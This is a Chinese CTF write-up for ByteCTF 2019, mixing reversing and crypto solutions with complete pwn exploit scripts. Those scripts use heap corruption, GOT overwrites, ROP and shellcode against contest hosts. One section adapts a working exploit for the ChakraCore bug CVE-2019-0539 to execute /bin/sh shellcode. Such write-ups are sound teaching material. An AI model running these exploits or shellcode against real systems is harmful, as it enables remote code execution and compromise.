ByteCTF 2019 WriteUp By W&M
```
分析下源码,主要是这里有意思,
```
usort($data, create_function('$a, $b', 'return strcmp($a->'.$order.',$b->'.$order.');'));
```
看到没,直接将 $order 拼到函数体里了。那么这里我们就可以利用这里 RCE 了。
当然这里来源 IP 必须为 127.0.0.1,和上面 routes 里的对上了。
9、来利用那个 XXE 来搞个 SSRF,访问这个页面,rss_url 可以随意传个正常的,order 需要插我们要执行的恶意代码。
```
]>
```
得到返回,看到 flag 文件名。
![图片](https://uploader.shimo.im/f/CoOkjJtR3xYy3VfY.png!thumbnail)
10、读下这个文件。
```
]>
```
![图片](https://uploader.shimo.im/f/SDHwb1VVChMwPMtI.png!thumbnail)
#### icloudmusic
此题因漏洞影响暂不公开
#### easy_rust
直接载入IDA 发现是rust的,很多没用的函数 ,就是做各种检查的,应该是编译的时候带进来的,直接忽略,发现主函数的位置有一个反调试, 直接干掉,就可以在IDA里面调试了。
下面的处理很乱,大概的我都是调试总结出来的 。
这里其实就是验证输入的内容是不是 a-z 0-9,后面调试发现 其实只能固定在 a-h o 1 - 3 这几个字符。
![图片](https://uploader.shimo.im/f/wByNA1O4f0saFBKl.png!thumbnail)
下面就是交换字节,四个交换都类似这样,格式是 要交换的 字符+交换的方向
![图片](https://uploader.shimo.im/f/MnbgQ6ozgB4RNcD7.png!thumbnail)
只有 1 2 3 a 这几种方式。判断是华容道游戏 调试把内存中的数据提取出来,
'd', 'c', 'o',
'h', 'a', 'e',
'b', 'g', 'f'
方块移动的规则
1 向上
2 向下
3 向右
a 向左
找个脚本跑了一下 ,对应的
c右a上h右b上g左h下b右d下a左b上e左f上
flag: c3a1h3b1gah2b3d2aab1eaf1
#### NaughtyBoy
分析apk以后发现没什么东西,都在so文件里面,直接去逆向so文件,发现是一个游戏,
四个都打开,配合着看,我发现IDA解析他们不太一样。有的结构比较清晰。
![图片](https://uploader.shimo.im/f/QvBbVXSIME8Qiudl.png!thumbnail)
验证了头部flag
![图片](https://uploader.shimo.im/f/1M3lM9uyZIcx1S1a.png!thumbnail)
地图生成函数
![图片](https://uploader.shimo.im/f/1Q6YMYmCIK8b4fgs.png!thumbnail)
直接复制下来,去vs里面跑一下,
![图片](https://uploader.shimo.im/f/AkZfoLVdn2kPu5sz.png!thumbnail)
地图出来了 ,然后圈圈提取出来,爆破出前四位是 good
![图片](https://uploader.shimo.im/f/QB0ZZHnOt2ID0FWH.png!thumbnail)
然后下面就是走了 ,因为最下面有验证质数的,所以如果路过一个圈圈,会覆盖过去
最后会检查质数,但是24 也就是图的中间位置是不用满足的,所以图中间就是那个0x4f
![图片](https://uploader.shimo.im/f/qHsYtGMYgRsc7dLB.png!thumbnail)
bytectf{good53233212414531}
#### 驱动逆向
直接加载会蓝屏,所以我先IDA分析了一通,发现了蹊跷的地方,在取CPUID的地方给数组赋值了,然后还去计算了MD5。但是CPUID是每台电脑不同的,所以根据提示设置了 “FakeIntel”作为ID ,就是FakeIntel + 0xDEADBEEF 。然后计算每四个字节计算一次MD5 最后取前八位组合在一起。
key : 52 a9 65 08 c3 95 36 f0 c2 42 53 9b 77 17 fb c6 1e 31 55 17 41 69 36 05 c0 5a 39 b9 53 28 3d 94
IV直接给出来 : 25 40 5a 86 b5 f1 3e 58 80 9b db 0b 30 49 66 8c
发现我直接用python的AES解不出来。 所以我windbg调试起来,要先NOP掉一个有问题的函数,在解密函数的位置设置内存
直接让驱动把解密完成。
![图片](https://uploader.shimo.im/f/kXFEZ9yRXaos7Old.png!thumbnail)
#### mheap
add未检查size的大小,add总数超过size时,read返回值会是-1,向上写入单链表指针,后面攻击list没啥好说的
```
from pwn import *
p = remote("112.126.98.5",9999)
def add(idx, size, content):
p.recvuntil("choice: ")
p.sendline("1")
p.recvuntil("Index: ")
p.sendline(str(idx))
p.recvuntil("size: ")
p.sendline(str(size))
p.recvuntil("Content: ")
p.send(str(content))
def show(idx):
p.recvuntil("choice: ")
p.sendline("2")
p.recvuntil("Index: ")
p.sendline(str(idx))
def remove(idx):
p.recvuntil("choice: ")
p.sendline("3")
p.recvuntil("Index: ")
p.sendline(str(idx))
def modify(idx,content):
p.recvuntil("choice: ")
p.sendline("4")
p.recvuntil("Index: ")
p.sendline(str(idx))
p.sendline(content)
add(0,3840 + 0x10, "\n")
add(1,80,"x"*80)
remove(1)
#raw_input()
add(2,256,p64(0x60)+p64(0x4040e0)+"x"*(0xd0-1)+"\n")
add(1,80,"x"+"\n")
add(2,0x23330000,p64(0x404050)+"\n")
show(2)
libc_addr = u64(p.recvuntil("\n",drop=True).ljust(8,"\x00"))-0x40680
system_addr = 0x4f440 + libc_addr
modify(2,p64(system_addr))
p.recvuntil("choice: ")
p.sendline("/bin/sh\x00")
p.interactive()
```
#### childjs
chakra引擎直接用的过去的漏洞
[https://bugs.chromium.org/p/project-zero/issues/detail?id=1702](https://bugs.chromium.org/p/project-zero/issues/detail?id=1702)
CVE-2019-0539
由于JIT引擎判断InitProto操作并不会带来副作用,对象类型不会发生变化,导致了类型混淆漏洞。
网上存在分析文章
[https://www.anquanke.com/post/id/173475](https://www.anquanke.com/post/id/173475)
直接使用文中利用dateview实现任意地址读写的方法,对poc进行修改。
之后通过内存布局,将要泄露的对象放在数组中摆放在dataview后面进行实现对象地址的泄露。
通过entrypoint劫持的方法,使程序执行shellcode
```
var convert = new ArrayBuffer(0x100);
var u32 = new Uint32Array(convert);
var f64 = new Float64Array(convert);
var BASE = 0x100000000;
function hex(x) {
return `0x${x.toString(16)}`
}
function bytes_to_u64(bytes) {
return (bytes[0]+bytes[1]*0x100+bytes[2]*0x10000+bytes[3]*0x1000000
+bytes[4]*0x100000000+bytes[5]*0x10000000000);
}
function i2f(x) {
u32[0] = x % BASE;
u32[1] = (x - (x % BASE)) / BASE;
return f64[0];
}
function f2i(x) {
f64[0] = x;
return u32[0] + BASE * u32[1];
}
let shellcode = [0.1,0.2,0.3,0.4];
let shellcode_addr = 0x0;
obj = {}
obj.a = 1;
obj.b = 2;
obj.c = 3;
obj.d = 4;
obj.e = 5;
obj.f = 6;
obj.g = 7;
obj.h = 8;
obj.i = 9;
obj.j = 10;
dv1 = new DataView(new ArrayBuffer(0x100));
dv2 = new DataView(new ArrayBuffer(0x100));
tm=[shellcode,shellcode,shellcode,shellcode,123]
BASE = 0x100000000;
function hex(x) {
return "0x" + x.toString(16);
}
function opt(o, proto, value) {
o.b = 1;
let tmp = {__proto__: proto};
o.a = value;
}
function main() {
for (let i = 0; i < 20000; i++) {
let o = {a: 1, b: 2};
opt(o, (function () {}), {});
}
let o = {a: 1, b: 2};
opt(o, o, obj); // o->auxSlots = obj (Step 1)
o.c = dv1; // obj->auxSlots = dv1 (Step 2)
obj.h = tm; // dv1->buffer = dv2 (Step 3)
let read64 = function(addr_lo, addr_hi) {
// dv2->buffer = addr (Step 4)
dv1.setUint32(0x38, addr_lo, true);
dv1.setUint32(0x3C, addr_hi, true);
// read from addr (Step 5)
return dv2.getInt32(0, true) + dv2.getInt32(4, true) * BASE;
}
let write64 = function(addr_lo, addr_hi, value_lo, value_hi) {
// dv2->buffer = addr (Step 4)
dv1.setUint32(0x38, addr_lo, true);
dv1.setUint32(0x3C, addr_hi, true);
// write to addr (Step 5)
dv2.setInt32(0, value_lo, true);
dv2.setInt32(4, value_hi, true);
}
// get dv2 vtable pointer
vtable_lo = dv1.getUint32(48, true);
vtable_hi = dv1.getUint32(52, true);
print (hex(vtable_lo + vtable_hi * BASE));
obj.h =dv2;
dv1.setUint32(0x38, vtable_lo, true);
dv1.setUint32(0x3C, vtable_hi, true);
vtable_lo = dv2.getUint32(32, true);
vtable_hi = dv2.getUint32(36, true);
print (hex(vtable_lo + vtable_hi * BASE));
dv1.setUint32(0x38, vtable_lo, true);
dv1.setUint32(0x3C, vtable_hi, true);
lo=dv2.getUint32(8, true);
hi = dv2.getUint32(12, true);
print (hex(lo + hi * BASE));
write64(lo+24, hi, vtable_lo+88, vtable_hi);
dv1.setUint32(0x38, vtable_lo+88, true);
dv1.setUint32(0x3C, vtable_hi, true);
let shell=[106, 104, 72, 184, 47, 98, 105, 110, 47, 47, 47, 115, 80, 72, 137, 231, 104, 114, 105, 1, 1, 129, 52, 36, 1, 1, 1, 1, 49, 246, 86, 106, 8, 94, 72, 1, 230, 86, 72, 137, 230, 49, 210, 106, 59, 88, 15, 5]
for (let i = 0; i < shell.length; i++) {
dv2.setUint8(i, shell[i]);
}
shellcode();
}
main();
```
#### mutnote
Ollvm混淆。但在ida函数列表中发现了start_routine函数,直接看此函数发现free后sleep再将指针清空。
漏洞就很明显了,条件竞争引起的uaf。直接上gdb调试,fastbin attack攻击malloc_hook完成利用。
```
#-*- coding: utf-8 -*-
from pwn import *
binary_file = './mulnote'
context.binary = binary_file
context.terminal = ['tmux', 'sp', '-h']
elf = ELF(binary_file)
libc = elf.libc
one_gadgets = [0x45216, 0x4526a, 0xf02a4, 0xf1147]
libc.symbols['one_gadget'] = one_gadgets[1]
context.log_level = 'debug'
def dbg(breakpoint):
glibc_dir = '/usr/src/glibc/glibc-2.23/'
gdbscript = 'directory %smalloc\n' % glibc_dir
gdbscript += 'directory %sstdio-common/\n' % glibc_dir
gdbscript += 'directory %sstdlib/\n' % glibc_dir
gdbscript += 'directory %slibio\n' % glibc_dir
elf_base = int(os.popen('pmap {}| awk \x27{{print \x241}}\x27'.format(io.pid)).readlines()[1], 16) if elf.pie else 0
gdbscript += 'b *{:#x}\n'.format(int(breakpoint) + elf_base) if isinstance(breakpoint, int) else breakpoint
gdbscript += 'c\nvis_heap_chunks 0x555555757000 20\n'
log.info(gdbscript)
gdb.attach(io, gdbscript)
time.sleep(1)
def exploit(io):
s = lambda data :io.send(str(data))
sa = lambda delim,data :io.sendafter(str(delim), str(data))
sl = lambda data :io.sendline(str(data))
sla = lambda delim,data :io.sendlineafter(str(delim), str(data))
r = lambda numb=4096 :io.recv(numb)
ru = lambda delims, drop=True :io.recvuntil(delims, drop)
irt = lambda :io.interactive()
uu32 = lambda data :u32(data.ljust(4, '\0'))
uu64 = lambda data :u64(data.ljust(8, '\0'))
def create(a,b):
io.writeline('C')
io.readuntil('>')
io.writeline(a)
io.readuntil('>')
io.writeline(b)
io.readuntil('>')
def remove(a):
io.writeline('R')
io.readuntil('>')
io.writeline(a)
io.readuntil('>')
def edit(a,b):
io.writeline('E')
io.readuntil('>')
io.writeline(a)
io.readuntil('>')
io.writeline(b)
io.readuntil('>')
# dbg(elf.plt.malloc) # malloc
# dbg(elf.plt.free) # free
# dbg(0xf) # edit
ru('>')
# overlap
create('256','1111111')
remove('0')
io.writeline('S')
ru('\n')
libc.address= uu64(r(6))-libc.sym.__malloc_hook-88-0x10
success('libc.address = 0x%x' % libc.address)
create('96','1111111111111111111111')
create('96','1111111111111111111111')
create('96','1111111111111111111111')
remove('1')
remove('2')
remove('1')
create('96',p64(libc.sym.__malloc_hook-0x23))
create('96',p64(libc.sym.__malloc_hook-0x23))
create('96',p64(libc.sym.__malloc_hook-0x23))
# dbg(elf.plt.malloc) # malloc
create('96','a'*0x13+p64(libc.sym.one_gadget))
io.writeline('C')
io.readuntil('>')
io.writeline('96')
return io
if __name__ == '__main__':
if len(sys.argv) > 1:
io = remote(sys.argv[1], sys.argv[2])
else:
io = process(binary_file, 0)
exploit(io)
io.interactive()
```
#### vip
溢出sock_filter结构体,篡改ptrcl的沙盒规则,使openat的syscall return 0(libc的open使用的不是sys_open,巨坑),open函数返回0后read就是从stdin读取数据了。![图片](https://uploader.shimo.im/f/oKTjphZOMAsqb7qS.png!thumbnail)成为vip后可以堆溢出,然后接下来就是tcache攻击到got上方,接着show一下就可以知道libc,然后把free_got改成printf,然后free("%8$p")就是执行了printf("$8%p")这样就可以stack leak,知道stack_addr之后,算出ret_addr,通过堆溢出一直覆盖到chunk_list的位置,然后在第一个堆块放置ret_addr,从而绕过canary构造rop,然后由于之前已经知道libc了,所以直接通过libc中的pop_rdx_ret,来传第三个参数,由于禁用了system和execve,所以通过调用mprotect给bss段上执行权限,然后在bss段放orw_shellcode,即执行open("/flag")、read(3,buf,size)、write(1,buf,size),执行即可输出flag
```
#!/usr/bin/python2.7
# -*- coding: utf-8 -*-
from pwn import *
context.log_level = "debug"
context.arch = "amd64"
elf = ELF("vip")
sh = 0
lib = 0
def vip():
sh.sendlineafter(":","6")
sh.sendafter(':',flat('a'*0x20,
0x0000000000000020, 0x0000010101000015,
0x0005000000000006, 0x7fff000000000006,))
def add(idx):
sh.recvuntil("Your choice:")
sh.sendline("1")
sh.sendlineafter(":",str(idx))
def free(idx):
sh.sendlineafter("Your choice:","3")
sh.sendlineafter(":",str(idx))
def show(idx):
sh.sendlineafter("Your choice:","2")
sh.sendlineafter(":",str(idx))
def edit(idx,size,content):
sh.recvuntil("Your choice:")
sh.sendline("4")
sh.recvuntil(":")
sh.sendline(str(idx))
sh.sendlineafter(":",str(size))
sh.recvuntil("Content:")
sh.send(content)
def pwn(ip,port,debug):
global sh
global lib
if(debug == 1):
sh = process("./vip")
lib = ELF("/lib/x86_64-linux-gnu/libc.so.6")
else:
sh = remote(ip,port)
lib = ELF("libc-2.27.so")
chunk_list = 0x404100
vip()
add(0)
add(1)
add(5)
add(6)
add(10)
free(6)
free(1)
payload = 'a' * 0x50 + p64(0) + p64(0x61) + p64(elf.got['free'])
edit(0,0x70,payload)
add(1)
add(2)
show(2)
free_addr = u64(sh.recvuntil("\x7f",False)[-6:].ljust(8,'\x00'))
libc = free_addr - lib.symbols['free']
system = libc + lib.symbols['system']
execve = libc + lib.symbols['execve']
printf = libc + lib.symbols['printf']
mprotect = libc + lib.symbols['mprotect']
edit(2,9,p64(printf))
edit(10,8,"%8$p\x00")
free(10)
sh.recvuntil("0x")
stack = int(sh.recvuntil("Done!",True),16) - 8 * 13
payload = p64(libc + lib.symbols['free'])
payload += p64(libc + lib.symbols['puts'])
payload += p64(libc + lib.symbols['__stack_chk_fail'])
payload += p64(libc + lib.symbols['printf'])
payload += p64(libc + lib.symbols['memset'])
payload += p64(libc + lib.symbols['read'])
payload += p64(libc + lib.symbols['prctl'])
payload += p64(libc + lib.symbols['malloc'])
payload += p64(libc + lib.symbols['setvbuf'])
payload += p64(libc + lib.symbols['open'])
payload += p64(libc + lib.symbols['perror'])
payload += p64(libc + lib.symbols['atoi'])
payload += p64(libc + lib.symbols['scanf'])
payload += p64(libc + lib.symbols['exit'])
payload = payload.ljust(0x4040a0 - 0x404018,'\x00')
payload += p64(libc + lib.symbols['_IO_2_1_stdout_']) + p64(0)
payload += p64(libc + lib.symbols['_IO_2_1_stdin_']) + p64(0)
payload += p64(libc + lib.symbols['_IO_2_1_stderr_'])
payload += p64(0) * 7
payload += p64(stack)
edit(2,0x500,payload)
pop_rdx_ret = 0x1b96 + libc
pop_rdi_ret = 0x4018fb
pop_rsi_r15_ret = 0x4018f9
base = 0x404000
payload = p64(pop_rdi_ret) + p64(base)
payload += p64(pop_rsi_r15_ret) + p64(0x1000) + p64(0)
payload += p64(pop_rdx_ret) + p64(7)
payload += p64(mprotect)
payload += p64(pop_rdi_ret) + p64(0)
payload += p64(pop_rsi_r15_ret) + p64(base + 0x800) + p64(0)
payload += p64(pop_rdx_ret) + p64(0x500)
payload += p64(libc + lib.symbols['read'])
payload += p64(base + 0x800)
edit(0,0x500,payload)
sleep(0.2)
payload = 'H\xb8\x01\x01\x01\x01\x01\x01\x01\x01PH\xb8.gm`f\x01\x01\x01H1\x04$H\x89\xe71\xd21\xf6j\x02X\x0f\x051\xc0j\x03_j@Z\xbe\x01\x01\x01\x01\x81\xf6\xa1AA\x01\x0f\x05j\x01_j@Z\xbe\x01\x01\x01\x01\x81\xf6\xa1AA\x01j\x01X\x0f\x05'
sh.sendline(payload)
log.success("libc: " + hex(libc))
log.success("stack: " + hex(stack))
log.success("system: " + hex(system))
if(debug == 1):
log.success("pid: " + str(sh.pid))
sh.interactive()
if __name__ == "__main__":
pwn("112.126.103.14",9999,0)
```
#### note_five
漏洞在edit的时候溢出。但由于限制了堆大小,先用unsorted bin attack改掉global_max_fast,然后就可以愉快的fastbin attack了。先fast到stdout改write_base leak得到libc,然后fast到__malloc_hook改hook,比较蛋疼的是one_gadget全失效了,于是用到__libc_realloc+某个偏移。从+1一直试到+13,终于成功在[rsp+0x30]得到一个0,然后让__realloc_hook为one_gadget就行了
```
#-*- coding: utf-8 -*-
from pwn import *
__author__ = '3summer'
binary_file = './note_five'
context.binary = binary_file
context.terminal = ['tmux', 'sp', '-h']
elf = ELF(binary_file)
libc = elf.libc
one_gadgets = [0x45216, 0x4526a, 0xf02a4, 0xf1147]
libc.symbols['one_gadget'] = one_gadgets[1]
context.log_level = 'debug'
def dbg(breakpoint):
glibc_dir = '/usr/src/glibc/glibc-2.23/'
gdbscript = 'directory %smalloc\n' % glibc_dir
gdbscript += 'directory %sstdio-common/\n' % glibc_dir
gdbscript += 'directory %sstdlib/\n' % glibc_dir
gdbscript += 'directory %slibio\n' % glibc_dir
elf_base = int(os.popen('pmap {}| awk \x27{{print \x241}}\x27'.format(io.pid)).readlines()[1], 16) if elf.pie else 0
gdbscript += 'b *{:#x}\n'.format(int(breakpoint) + elf_base) if isinstance(breakpoint, int) else breakpoint
gdbscript += 'c\nvis_heap_chunks 0x555555757000 20\n'
log.info(gdbscript)
gdb.attach(io, gdbscript)
time.sleep(1)
def exploit(io):
s = lambda data :io.send(str(data))
sa = lambda delim,data :io.sendafter(str(delim), str(data))
sl = lambda data :io.sendline(str(data))
sla = lambda delim,data :io.sendlineafter(str(delim), str(data))
r = lambda numb=4096 :io.recv(numb)
ru = lambda delims, drop=True :io.recvuntil(delims, drop)
irt = lambda :io.interactive()
uu32 = lambda data :u32(data.ljust(4, '\0'))
uu64 = lambda data :u64(data.ljust(8, '\0'))
def choice(cmd, *argv):
sla('>>',cmd)
for i in argv:
if isinstance(i,tuple):
sa((i[1]),i[0])
continue
if isinstance(i,list):
sla(i[1],i[0])
continue
sla(':',i)
add = lambda idx,size :choice(1,idx,size)
edit = lambda idx,content :choice(2,idx,(content,':'))
delete = lambda idx :choice(3,idx)
# dbg(elf.plt.malloc) # malloc
# dbg(0xE6D) # free
# dbg(0x0DEE) # edit
add(0,0xe8)
add(1,0xe8)
add(2,0xe8)
add(3,0xe8)
add(4,0xe8)
# dbg(0xE6D) # free
delete(0)
payload = 'a' * 0xe0 + p64(0x2d0) + '\xf0'
edit(2,payload)
delete(3)
add(0,0x2d0 - 0x10)
payload = '\x11' * 0xe0
payload += p64(0) + p64(0xf1)
payload += '\x22' * 0xe0 + p64(0) + p64(0xf1) + "\n"
edit(0,payload)
delete(1)
payload = '\x11' * 0xe0
payload += p64(0) + p64(0xf1)
payload += p64(0) + p16(0x37f8 - 0x10) + '\n'
edit(0,payload)
add(3,0xe8)
add(3,0xe8)
payload = '\x11' * 0xe0
payload += p64(0) + p64(0xf1)
payload += '\x22' * 0xe0 + p64(0) + p64(0xf1) + "\n"
edit(0,payload)
delete(2)
payload = '\x11' * 0xe0
payload += p64(0) + p64(0xf1)
payload += '\x22' * 0xe0 + p64(0) + p64(0xf1)
payload += p16(0x25cf)
payload += '\n'
edit(0,payload)
add(3,0xe8)
add(4,0xe8)
payload = "\x00" + p64(0)*4
payload = flat('aaaaaaaaa',p64(0)*7,0xfbad1800,0,0,0,p8(0),'\n')
edit(4,payload)
ru(p64(0xfbad1800))
r(0x20)
libc.address = uu64(r(6))-libc.sym._IO_2_1_stdout_-131
success('libc.address = 0x%x' % libc.address)
assert libc.address % 0x1000 == 0
# hijack control flow
fastbin_attack1 = libc.sym.__malloc_hook - (0x7ffff7dd1b10 - 0x7ffff7dd196f)
fastbin_attack2 = libc.sym.__malloc_hook - (0x7ffff7dd1b10 - 0x7ffff7dd1a50)
delete(3)
payload = '\x11' * 0xe0
payload += p64(0) + p64(0xf1)
payload += '\x22' * 0xe0 + p64(0) + p64(0xf1)
payload += p64(fastbin_attack1)
payload += '\n'
edit(0,payload)
add(3,0xe8)
add(4,0xe8)
payload = "\x00" + p64(0)*7 + p64(libc.address + 0x00007ffff7dd06e0 - 0x7ffff7a0d000)
payload += p64(0) * 19 + p64(0xff) + "\n"
edit(4,payload)
delete(3)
payload = '\x11' * 0xe0
payload += p64(0) + p64(0xf1)
payload += '\x22' * 0xe0 + p64(0) + p64(0xf1)
payload += p64(fastbin_attack2)
payload += '\n'
edit(0,payload)
add(3,0xe8)
add(4,0xe8)
payload = p64(0)*21 + p64(libc.sym.one_gadget)+ p64(libc.sym.__libc_realloc+13)+ "\n"
# payload = p64(0)*22 + p64(libc.sym.one_gadget)+ "\n"
# dbg(0x0DEE) # edit
edit(4,payload)
add(3,0x100)
return io
if __name__ == '__main__':
if len(sys.argv) > 1:
io = remote(sys.argv[1], sys.argv[2])
else:
io = process(binary_file, 0)
exploit(io)
io.interactive()
```
#### ezarch
[M]emory Set的时候设置stack为mem-0x1000的位置,对于bp只检查与mem->size的大小,而不是检查stack_max,使得bp可以栈溢出
![图片](https://uploader.shimo.im/f/g8cxVbFDj5Qwyki4.png!thumbnail)将ebp设置为0x1008,使ebp指向了mem->stack指针![图片](https://uploader.shimo.im/f/F65LaaEUMvwxfAzc.png!thumbnail)
由于Partial RELRO,接下来的思路是将stack指针劫持到got表。
本来想通过断点打印的信息把libc leak出来的,不过既然有add和sub这样的opcode,直接根据libc的相对偏移去加减操作省事很多。
由于寄存器是32位的,分别将free的高低32位设置为system。再一次[M]emory Set的时候会free掉这个chunk,所以在payload头部写入/bin/sh,并且设置eip为8跳过这个字符串。
```
#-*- coding: utf-8 -*-
from pwn import *
binary_file = './ezarch'
context.binary = binary_file
context.terminal = ['tmux', 'sp', '-h']
elf = ELF(binary_file)
libc = elf.libc
one_gadgets = [0x4f2c5, 0x4f322, 0x10a38c]
libc.symbols['one_gadget'] = one_gadgets[1]
context.log_level = 'debug'
def dbg(breakpoint):
glibc_dir = '/usr/src/glibc/glibc-2.27/'
gdbscript = 'directory %smalloc\n' % glibc_dir
gdbscript += 'directory %sstdio-common/\n' % glibc_dir
gdbscript += 'directory %sstdlib/\n' % glibc_dir
gdbscript += 'directory %slibio\n' % glibc_dir
elf_base = int(os.popen('pmap {}| awk \x27{{print \x241}}\x27'.format(io.pid)).readlines()[1], 16) if elf.pie else 0
gdbscript += 'b *{:#x}\n'.format(int(breakpoint) + elf_base) if isinstance(breakpoint, int) else breakpoint
gdbscript += 'c\nvis_heap_chunks 0x555555757000 20\n'
log.info(gdbscript)
gdb.attach(io, gdbscript)
time.sleep(1)
def exploit(io):
s = lambda data :io.send(str(data))
sa = lambda delim,data :io.sendafter(str(delim), str(data))
sl = lambda data :io.sendline(str(data))
sla = lambda delim,data :io.sendlineafter(str(delim), str(data))
r = lambda numb=4096 :io.recv(numb)
ru = lambda delims, drop=True :io.recvuntil(delims, drop)
irt = lambda :io.interactive()
uu32 = lambda data :u32(data.ljust(4, '\0'))
uu64 = lambda data :u64(data.ljust(8, '\0'))
func = lambda opcode, _type1, _type2, arg0, arg1: flat(p8(opcode), p8(_type1*0x10+_type2), p32(arg0), p32(arg1))
# reg
r = [i for i in range(0x10)]
esp = 16
ebp = 17
# _type1
stackreg = 0
regimm = 1
regreg = 2
# _type2
no_ptr = 0
ptr = 2
# opcode
error = 0
add = 1
sub = 2
mov = 3
xor = 4
_or = 5
_and = 6
shl = 7
shr = 8
push = 9
pop = 0xA
call = 0xB
ret = 0xC
test = 0xD
test2 = 0xE
jz = 0xF
jz2 = 0x10
nop = 0x11
payload = flat(
'/bin/sh\x00',
func(mov,regimm,no_ptr,ebp,0x1008),
func(mov,regreg,no_ptr,r[0],ebp),
func(sub,regimm,no_ptr,r[0],0xa8),
func(mov,stackreg,ptr,ebp,r[0]),
func(mov,regimm,no_ptr,ebp,8),
func(mov,regreg,no_ptr,r[0],ebp),
func(sub,regimm,no_ptr,r[0],libc.sym.puts-libc.sym.system),
func(mov,regimm,no_ptr,ebp,0),
func(mov,stackreg,ptr,ebp,r[0]),
func(mov,regimm,no_ptr,ebp,8+4),
func(mov,regreg,no_ptr,r[0],ebp),
func(mov,regimm,no_ptr,ebp,4),
func(mov,stackreg,ptr,ebp,r[0]),
)
sla('>', 'M')
sla('>', 0x1100)
sla('>', len(payload))
sa(')', payload)
sla('>', 8)
sla('>', 0)
sla('>', 0)
# dbg(0x9C0) # run
# dbg(0x0AC2) # free
sla('>','R')
sla('>','M')
sla('size>',1)
return io
if __name__ == '__main__':
if len(sys.argv) > 1:
io = remote(sys.argv[1], sys.argv[2])
else:
io = process(binary_file, 0)
exploit(io)
io.interactive()
```
#### Hello Bytectf
打开题目即可getflag
#### jigsaw
遇到题目怎么办?当然是人工做题了,先把没有带白字的图片,全部删掉,先把能拼接的都拼接起来,然后再整体连接起来。突然发现一个flag
![图片](https://uploader.shimo.im/f/DLklcplDh7IPqe3E.png!thumbnail)
根据"{"大致确定了中间位置,然后逐个拼接
![图片](https://uploader.shimo.im/f/blPl3GQeUUs0LAO9.jpg!thumbnail)
最终拼接完毕
![图片](https://uploader.shimo.im/f/zyc3hI7ES04u5j09.jpg!thumbnail)
图片flag为flag{fate_stay_nt},提交然后失败
然后把flag换成bytectf即bytectf{fate_stay_nt},提交成功
#### betgame
```
# coding=utf-8
from pwn import *
p=remote('112.125.25.81',9999)
# context(log_level='debug')
f = ['j','s','b']
def getind(x,y):
if y == 0:
return x
elif y ==1:
return (x+y)%3
elif y == -1:
if x > 0:
return x+y
elif x == 0:
return 2
for i in range(10):
print i,"1"
p.recvuntil("e: ")
t = p.recvline().strip('\n')
p.sendline(f[getind(f.index(t),0)])
print i, "2"
p.recvuntil("e: ")
t = p.recvline().strip('\n')
p.sendline(f[getind(f.index(t), -1)])
print i, "3"
p.recvuntil("e: ")
t = p.recvline().strip('\n')
p.sendline(f[getind(f.index(t), 1)])
p.interactive()
```
![图片](https://uploader.shimo.im/f/PPSpKKTAnsAvSIpA.png!thumbnail)
#### lrlr
通过old的1000组可以预测python随机数,
[https://github.com/tna0y/Python-random-module-cracker](https://github.com/tna0y/Python-random-module-cracker)
一共2轮aes加密,既然密钥可以预测出来,自然就能解密得到clist。
![图片](https://uploader.shimo.im/f/W29rvyBWpAEpI0Gc.png!thumbnail)
```
from Crypto.Util.number import getPrime, bytes_to_long, long_to_bytes
from Crypto.Cipher import AES
import random
from randcrack import RandCrack
rc = RandCrack()
with open('old') as file:
old = [int(i) for i in file.read().strip().split('\n')]
index = 0
for i in range(index,624):
rc.submit(old[index])
index+=1
for i in range(1000-624):
assert(old[index]==rc.predict_getrandbits(32))
index+=1
with open('cl') as file:
nlist = [eval(i) for i in file.read().strip().split('\n')]
with open('new') as file:
clist=[i.decode('hex') for i in file.read().strip().split('\n')]
key1=[]
key2=[]
key3=[]
for i in range(24):
key1.append(rc.predict_getrandbits(128))
for i in range(24):
key2.append(rc.predict_getrandbits(128))
for i in range(24):
key3.append(rc.predict_getrandbits(128))
tmp1=[]
for i in range(24):
handle = AES.new(long_to_bytes(key3[i]), AES.MODE_CBC, "\x00"*16)
tmpstate=handle.decrypt(clist[i])
tmp1.append(tmpstate)
tmp2=[]
for i in range(24):
handle = AES.new(long_to_bytes(key2[i]), AES.MODE_CBC, "\x00"*16)
tmpstate=handle.decrypt(tmp1[i])
tmp2.append(tmpstate)
# tmp3=[]
# for i in range(24):
# handle = AES.new(long_to_bytes(key1[i]), AES.MODE_CBC, "\x00"*16)
# tmpstate=handle.decrypt(tmp2[i])
# tmp3.append(tmpstate)
c=[]
for i in tmp2:
c.append(bytes_to_long(i))
for i in range(17):
print 'n = %d'%nlist[i]
print 'e = 17'
print 'c = %d'%c[i]
print '\n'
```
然后有了24组n,c;e=17。随便选择17组去广播攻击
![图片](https://uploader.shimo.im/f/7fRBJidv1HE2woLb.png!thumbnail)
最后一步类似jarvis oj上的bbencode原题,循环编码,判断flag开头的字符串
```
def bbencode(n):
a = 0
for i in bin(n)[2:]:
a = a << 1
if (int(i)):
a = a ^ n
if a >> 256:
a = a ^ 0x10000000000000000000000000000000000000000000000000000000000000223L
return a
result = 61406796444626535559771097418338494728649815464609781204026855332620301752444
for i in range(10000):
result = bbencode(result)
if("666c6167" == str(hex(result))[2:10]):
print i
print hex(result)[2:-1].decode('hex')
```
![图片](https://uploader.shimo.im/f/e3kjrRjbUTcBG3bm.png!thumbnail)
腹黑师傅,有好多图裂了。。
好像是图床的问题,很玄学
腹黑大佬,来膜拜了
腹黑大佬,慕名而来